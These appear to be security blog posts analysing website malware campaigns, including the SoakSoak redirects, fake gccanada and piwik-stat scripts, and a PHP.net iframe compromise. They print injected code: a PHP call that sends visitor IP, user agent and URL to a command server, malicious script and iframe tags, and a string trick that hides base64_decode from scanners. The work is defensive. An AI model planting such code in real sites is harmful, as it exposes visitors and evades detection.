Author: Daniel Cid

We are seeing a large amount of sites with a malscript from gccanada.com injected into them. The malware redirects visitors to searchmagnified.com, which redirects them to freeresultsguide.com.That\'s the code being added to the hacked sites:

< script type='text/javascript' src="http://gccanada[.]com/jquery[.]js"

What is so bad about it? The final domain \'freeresultsguide.com\', pushes you to buy a fake anti virus software with some annoying messages and warnings:

Important security message. Please call the number provided asap to get your computer fixed. You have a virus!

If you see this gcanada code on your site, it means you got hacked. It is not from the Government of Canada, as they want you to think.

The RevSlider SoakSoak malware campaign started with the soaksoak.ru domain (hence the name). However, since thelast 2 weeks, it has mutated and used different domains as the initial malware intermediary.

This is the full list so far:

1. soaksoak.ru: First one in the list. We identified more than 100,000 sites redirecting to it.
2. 122.155.168.105: Started just after soaksoak, leveraging the /collect.js redirection. Almost 10,000 were blacklisted and compromised with it.
3. ads.akeemdom.com
4. wpcache-blogger.com: Second biggest campaign after soaksoak. More than 50,000 sites compromised and still going.
5. theme.wpcache-blogger.com
6. phoenix-credit.com: Current one active. Also leverages the /collect.js redirection and has compromised more than 11,000 different sites.

We will keep updating this list as the domains change and the attacks mutate.

The domain botsvsbrowsers.com is quite popular and used for comparing user agents (browsers) and seeingif a specific request is from a valid user or a bot.

And piggy backing on their popularity, the bad guys created a domain botsvsbrowsers.biz (.biz versus .com) tobe used as a command and control server on spam SEO campaigns.

This is the code we are seeing on compromised sites:

echo file_get_contents("http://botsvsbrowsers. biz/Statistic/ Stat.php?ip='. urlencode($_SERVER['REMOTE_ADDR']).'&useragent=".urlencode($sUserAgent)...
'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck=');

Which basically contacts botsvsbrowsers.biz/Statistic/Stat.php on every page load, giving the client IP address, and URLand it decides what to inject to that user. Most of the time we are seeing just plain SPAM, but they are probably servingother malicious code as well.

So if you see any content being loaded from botsvsbrowsers.BIZ (or the IP address 46.165.222.93), you know it is malicious.

There are multiple ways to inject an iframe on a web site, and every day we found a new evasion technique to make it harder to detect it. This is a new one found by Fio:

It uses many encondings to just load this iframe:

Which redirects the user visitng a compromised site to a porn page.

We woke up this morning to many reports and people asking why the PHP.net site is being blacklisted.We did not get a chance to analyze it while it was compromised, but it seems that one of their javascript files (static.php.net/www.php.net/userprefs.js) was modified to inject a malicious iframefrom http://lnkhere.reviewhdtv.co.uk/stat.htm.

That's the supposed bad code: http://pastebin.com/raw.php?i=nAess4xL

It seems the PHP team fixed it already and requested Google to clear it. If anyone has more info, we would love to hear it.

A common keyword that people use to find hidden injections on web sites is base64_decode. Youoften see injections that look like eval ( base64_decode or eval ( gzinflate ( base64_decode beingused by the attackers.

So most web security tools have some signatures to look for it (specially on WordPress).

Well, the attackers do know about it as well and we are starting to see some interesting variations for it. Forexample, instead of injecting base64_decode, they are injecting as a variable:

$g___g_='base'.(32*2).'_de'.'code';

And instead of calling out base64_decode directly, they are using base + 32*2 + decode. A simple trick that allowsthen to bypass many security filters.

Piwik is an open source web analytics software that is used by many web masters. Andthe bad guys are using their popularity to try to make their malware injection harder todetect. They do that by injecting malicious javascript calls from a domain that looks like came from the Piwik project: www.piwik-stat.com/piwik.js. This is what is being injected:

<script src="httx://www.piwik-stat. com/piwik.js..
<iframe src="httx://www.piwik-stat. com/index.html..

It is not an uncommon tactic (we see if often with jquery), but as a web master if you see anythingfrom pwiki-stat or similar variations, it is likely fake. The official (and trusted one)is http://piwik.org/.